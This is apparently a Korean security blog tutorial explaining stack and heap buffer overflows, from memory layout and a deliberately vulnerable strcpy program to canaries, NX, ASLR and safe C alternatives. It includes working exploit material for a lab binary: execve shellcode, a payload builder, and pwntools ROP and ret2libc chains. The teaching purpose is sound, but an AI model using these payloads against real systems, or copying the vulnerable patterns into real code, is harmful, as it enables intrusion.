/보안 기법/Buffer Overflow: 스택과 힙 오버플로우 원리
시스템 취약점2024-12-10

Buffer Overflow: 스택과 힙 오버플로우 원리

스택 버퍼 오버플로우의 기본 원리부터 ASLR, DEP/NX 우회, Return Oriented Programming(ROP)까지. C언어 취약 패턴과 현대적 방어 메커니즘 분석.

#Buffer Overflow#Stack#Heap#ROP#Exploit#Binary

기본 원리: 메모리와 스택의 구조

프로세스 메모리 레이아웃

프로그램이 실행되면 OS는 가상 메모리 공간을 다음과 같이 배치한다:

높은 주소 (0xFFFFFFFF)
┌─────────────────────┐
│   커널 공간          │  OS가 사용, 접근 불가
├─────────────────────┤
│   스택 (Stack) ↓    │  지역변수, 함수 인자, 반환 주소
│                     │  높은 주소 → 낮은 주소 방향으로 자람
│   (빈 공간)         │
│                     │
│   힙 (Heap) ↑       │  malloc/new로 동적 할당
│                     │  낮은 주소 → 높은 주소 방향으로 자람
├─────────────────────┤
│   BSS 세그먼트       │  초기화되지 않은 전역/정적 변수
├─────────────────────┤
│   데이터 세그먼트    │  초기화된 전역/정적 변수
├─────────────────────┤
│   텍스트 세그먼트    │  실행 코드 (읽기 전용)
└─────────────────────┘
낮은 주소 (0x00000000)

스택 프레임 구조

함수가 호출될 때마다 스택에 **스택 프레임(Stack Frame)**이 생성된다. ESP(스택 포인터)와 EBP(베이스 포인터)로 프레임을 관리한다.

함수 호출: vulnerable(argv[1])

호출 전 (caller):
  CALL 명령 실행 → 반환 주소를 스택에 푸시 → vulnerable로 점프

함수 진입 직후 (callee):
  PUSH EBP        → 이전 프레임 포인터 저장
  MOV EBP, ESP    → 현재 스택 포인터를 프레임 포인터로 설정
  SUB ESP, 64     → 지역변수(buffer[64])를 위한 공간 확보

스택 상태:
┌────────────────────────┐ ← 높은 주소
│   argv[1] (인자)        │
├────────────────────────┤
│   반환 주소 (RET)       │ ← CALL이 저장한 주소, 함수 끝나면 여기로 점프
├────────────────────────┤
│   저장된 EBP (SFP)     │ ← 이전 스택 프레임 포인터
├────────────────────────┤
│   buffer[64]           │ ← ESP가 여기를 가리킴
│   [0x00 * 64]          │
└────────────────────────┘ ← 낮은 주소 (스택이 자라는 방향 ↓)

핵심: 데이터는 낮은 주소에서 채워지고, 반환 주소는 높은 주소에 있다. 버퍼를 넘쳐흘리면 SFP → 반환 주소 순서로 덮어쓴다.


1. 스택 BOF 기본 원리

#include <string.h>
#include <stdio.h>

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // strcpy는 길이 검사 없이 복사!
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}

strcpy(buffer, input) 실행 과정:

1. input의 첫 바이트를 buffer[0]에 복사
2. input의 두 번째 바이트를 buffer[1]에 복사
...
64. input의 64번째 바이트를 buffer[63]에 복사 ← 여기까지가 정상
65. input의 65번째 바이트를 buffer[64]에 복사 ← SFP 영역 시작!
69. input의 69번째 바이트를 반환 주소 위치에 복사 ← 제어 흐름 탈취!

strcpy는 null 바이트(\x00)를 만날 때까지 무조건 복사한다. 버퍼 크기를 초과하면 스택의 다른 값들을 덮어쓴다.


2. 보호 기법이 없는 환경에서 기본 익스플로잇

오프셋 계산

# GDB + peda로 오프셋 계산
gdb -q ./vulnerable

# 고유 패턴 생성 (200바이트)
(gdb) pattern create 200
# 출력: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2...

# 프로그램 실행 (패턴 입력)
(gdb) run $(python3 -c "print('AAA%AAsAABAA...')")

# 크래시 발생 후 EIP 확인
(gdb) info registers eip
# EIP: 0x41417241 (패턴의 일부)

# 오프셋 계산
(gdb) pattern offset 0x41417241
# 1094205761 found at offset: 68
# → buffer(64) + SFP(4) = 68바이트가 오프셋

익스플로잇 작성 (ASLR/NX 비활성화 환경)

#!/usr/bin/env python3
import struct
import subprocess

# 환경 설정 (테스트 환경)
# echo 0 > /proc/sys/kernel/randomize_va_space  # ASLR 비활성화
# gcc -fno-stack-protector -z execstack -m32 -o vuln vuln.c  # 보호 해제

# 오프셋
OFFSET = 68  # buffer(64) + saved_EBP(4)

# x86 쉘코드: execve("/bin/sh", NULL, NULL)
# strace로 확인: execve("/bin/sh", 0, 0) = 0
shellcode = (
    b"\x31\xc0"          # xor eax, eax
    b"\x50"              # push eax (null)
    b"\x68\x2f\x2f\x73\x68"  # push "//sh"
    b"\x68\x2f\x62\x69\x6e"  # push "/bin"
    b"\x89\xe3"          # mov ebx, esp → ebx = "/bin//sh"
    b"\x89\xc1"          # mov ecx, eax (NULL)
    b"\x89\xc2"          # mov edx, eax (NULL)
    b"\xb0\x0b"          # mov al, 11 (execve 시스템 콜 번호)
    b"\xcd\x80"          # int 0x80 (시스템 콜 실행)
)

# 쉘코드가 들어갈 스택 주소 (GDB로 확인)
# (gdb) x/200x $esp 로 스택 주소 확인
shellcode_addr = 0xbfffef00

# 페이로드 구성
payload  = shellcode                               # 쉘코드
payload += b"\x90" * (OFFSET - len(shellcode))    # NOP 슬레드 (패딩)
payload += struct.pack("<I", shellcode_addr)       # 반환 주소 덮어쓰기 (리틀엔디안)

print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Shellcode: {len(shellcode)} bytes")
print(f"[*] Return address: {hex(shellcode_addr)}")

# 실행
# ./vulnerable $(python3 exploit.py | xxd -p)
# 또는 pwntools 사용

3. 현대적 보호 기법

실제 환경에서는 여러 보호 기법이 중첩 적용된다.

Stack Canary (스택 카나리)

함수 진입 시 반환 주소 앞에 **랜덤 값(카나리)**을 배치하고, 함수 종료 전에 값이 바뀌었는지 검사한다.

스택 레이아웃 (카나리 적용):
┌────────────────────────┐
│   반환 주소             │
├────────────────────────┤
│   저장된 EBP           │
├────────────────────────┤
│   카나리 값 (랜덤)     │ ← 8바이트 (x64), 항상 \x00으로 시작
├────────────────────────┤
│   buffer[64]           │
└────────────────────────┘

함수 종료 시:
if (canary_on_stack != __stack_chk_guard) {
    // 카나리 값이 바뀜 → 오버플로우 감지
    __stack_chk_fail();  // abort()
}
# 카나리 확인
checksec --file=./vulnerable
# Stack:    Canary found  ← 카나리 적용됨
# NX:       enabled        ← NX 적용됨
# PIE:      enabled        ← PIE 적용됨

우회 방법: 카나리 값을 먼저 정보 누출(Info Leak) 취약점으로 읽어낸 후, 오버플로우 시 같은 값으로 덮어쓴다.

NX/DEP (스택 실행 방지)

스택 메모리 영역에 실행 권한을 제거한다. 쉘코드를 스택에 올려도 실행하면 세그폴트가 발생한다.

# NX 비트 확인
readelf -l ./vulnerable | grep GNU_STACK
# GNU_STACK  0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
# RW (읽기/쓰기만) → NX 활성화
# RWE (읽기/쓰기/실행) → NX 비활성화

ASLR (주소 공간 배치 랜덤화)

스택, 힙, 라이브러리의 베이스 주소를 실행마다 랜덤화한다.

# 여러 번 실행해서 주소 변화 확인
ldd ./vulnerable
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7f8a2c3b0000)  ← 실행마다 변함

cat /proc/sys/kernel/randomize_va_space
# 0: 비활성화
# 1: 스택/라이브러리 랜덤화
# 2: 스택/힙/라이브러리 모두 랜덤화 (기본값)

4. ROP (Return Oriented Programming)

NX로 스택에서 쉘코드 직접 실행이 불가능할 때 사용한다. 이미 실행 가능한 **코드 세그먼트(텍스트 영역)**에 있는 작은 코드 조각(가젯)들을 체인처럼 연결해 원하는 동작을 만든다.

가젯의 원리

가젯 = 특정 명령 몇 줄 + ret 명령

예시 가젯들:
  0x400600: pop rdi; ret      ← rdi 레지스터에 값 설정
  0x400700: pop rsi; ret      ← rsi 레지스터에 값 설정
  0x400800: pop rax; ret      ← rax 레지스터에 값 설정
  0x400900: syscall; ret      ← 시스템 콜 실행

각 가젯 끝의 ret:
  → 스택에서 다음 주소를 팝해서 거기로 점프
  → 다음 가젯으로 이동

ROP 체인으로 /bin/sh 실행 (x64)

x64 리눅스에서 execve("/bin/sh", NULL, NULL) 시스템 콜:

  • rax = 59 (execve 번호)
  • rdi = "/bin/sh" 주소
  • rsi = 0 (NULL)
  • rdx = 0 (NULL)
  • syscall 실행
from pwn import *

elf = ELF('./vulnerable')
rop = ROP(elf)

# 가젯 찾기
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]

# "/bin/sh" 문자열 위치 (바이너리나 libc에서 찾기)
bin_sh = next(elf.search(b'/bin/sh'))

# ROP 체인 구성
chain = flat(
    OFFSET * b'A',          # 버퍼 + SFP 채우기
    pop_rdi,                # rdi = "/bin/sh" 주소
    bin_sh,
    pop_rax,                # rax = 59 (execve)
    59,
    syscall                 # execve("/bin/sh", 0, 0) 실행
)

# 스택에서의 ROP 체인 실행 흐름
# 반환 주소 = pop_rdi 가젯 주소
# → pop rdi 실행 (스택에서 bin_sh 팝 → rdi에 저장)
# → ret 실행 (스택에서 pop_rax 주소 팝 → 거기로 점프)
# → pop rax 실행 (스택에서 59 팝 → rax에 저장)
# → ret 실행 (스택에서 syscall 주소 팝 → 거기로 점프)
# → syscall 실행 → execve("/bin/sh", ?, ?) 실행

print(rop.dump())

Ret2libc — libc의 system() 함수 호출

NX는 있지만 ASLR이 없거나 libc 주소를 알 때 사용하는 고전적 기법:

from pwn import *

# libc의 system() 함수와 "/bin/sh" 문자열 주소 (ASLR 없을 때 고정)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))

pop_rdi = 0x400693  # 가젯 주소 (ROPgadget으로 찾기)
ret_gadget = 0x400559  # x64 스택 정렬용 ret 가젯

payload = flat(
    OFFSET * b'A',
    ret_gadget,      # x64에서 system() 전 16바이트 정렬 필요
    pop_rdi,
    bin_sh_addr,
    system_addr      # system("/bin/sh") 호출
)

5. 취약한 C 함수들

// ❌ 절대 사용하지 말 것
gets(buffer);                     // 길이 제한 전혀 없음, C11에서 제거됨
strcpy(dst, src);                 // src가 dst보다 크면 오버플로우
strcat(dst, src);                 // dst 남은 공간 확인 안 함
sprintf(buf, fmt, ...);           // buf 크기 초과 가능
scanf("%s", buffer);              // 공백 전까지 무제한 입력

// ✅ 안전한 대안
fgets(buffer, sizeof(buffer), stdin);          // 최대 크기 지정
strncpy(dst, src, sizeof(dst) - 1);            // 최대 크기 지정
dst[sizeof(dst) - 1] = '\0';                   // null 종료 보장
strncat(dst, src, sizeof(dst) - strlen(dst) - 1);
snprintf(buf, sizeof(buf), fmt, ...);          // 안전한 sprintf
scanf("%255s", buffer);                        // 최대 255자 제한

6. 힙 오버플로우

힙은 스택과 달리 malloc(), free()로 관리되는 동적 메모리 영역이다. 힙 오버플로우는 청크 메타데이터를 손상시켜 메모리 할당자의 동작을 조작한다.

힙 청크 구조 (glibc malloc)

malloc(64) 반환값 이전의 숨겨진 메타데이터:
┌──────────────────────┐
│  prev_size (8B)      │  이전 청크가 해제된 경우 그 크기
├──────────────────────┤
│  size (8B)           │  현재 청크 크기 + 플래그 비트
├──────────────────────┤  ← malloc()이 반환하는 포인터
│  사용자 데이터       │
│  (64 bytes)          │
├──────────────────────┤
│  다음 청크 헤더      │  ← 오버플로우 시 이 부분이 손상
│  ...                 │
// 힙 오버플로우 취약 코드
char *buf1 = malloc(64);
char *buf2 = malloc(64);

read(fd, buf1, 128);  // 64바이트짜리에 128바이트 쓰기 → 오버플로우
// buf1 뒤의 buf2 청크 헤더가 손상됨
// free(buf2) 호출 시 손상된 메타데이터로 잘못된 메모리 쓰기 발생

힙 익스플로잇 기법 (Heap Feng Shui, House of Force, tcache poisoning 등)은 스택 BOF보다 훨씬 복잡하지만, Use-After-Free나 Double-Free와 결합하면 강력한 익스플로잇이 가능하다.


도구

# pwntools: 익스플로잇 개발 프레임워크
pip install pwntools

# GDB 플러그인
pip install peda        # PEDA
pip install pwndbg      # pwndbg (더 현대적)
git clone https://github.com/hugsy/gef  # GEF

# 바이너리 분석
checksec --file=./vulnerable     # 보호 기법 확인
ROPgadget --binary ./vulnerable  # 가젯 목록
objdump -d ./vulnerable          # 디스어셈블리

# GDB 기본 사용
gdb ./vulnerable
(gdb) break main        # 브레이크포인트
(gdb) run AAAA          # 실행
(gdb) x/20x $esp        # 스택 내용 확인 (20개 hex 값)
(gdb) info registers    # 레지스터 확인
(gdb) nexti             # 명령어 단위 실행

핵심 정리

보호 기법 원리 우회 방법
Stack Canary 반환 주소 앞 랜덤 값 검증 Info Leak으로 카나리 값 읽기
NX/DEP 스택/힙 실행 불가 ROP (이미 실행 가능한 코드 재사용)
ASLR 주소 랜덤화 Info Leak으로 베이스 주소 계산
PIE 코드 영역도 랜덤화 Info Leak으로 ELF 베이스 주소 계산

실제 CTF/모의해킹에서는 이 보호 기법들이 모두 동시에 적용되며, 정보 누출 취약점으로 주소를 먼저 확보한 뒤 ROP 체인을 구성하는 것이 일반적인 공략 흐름이다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.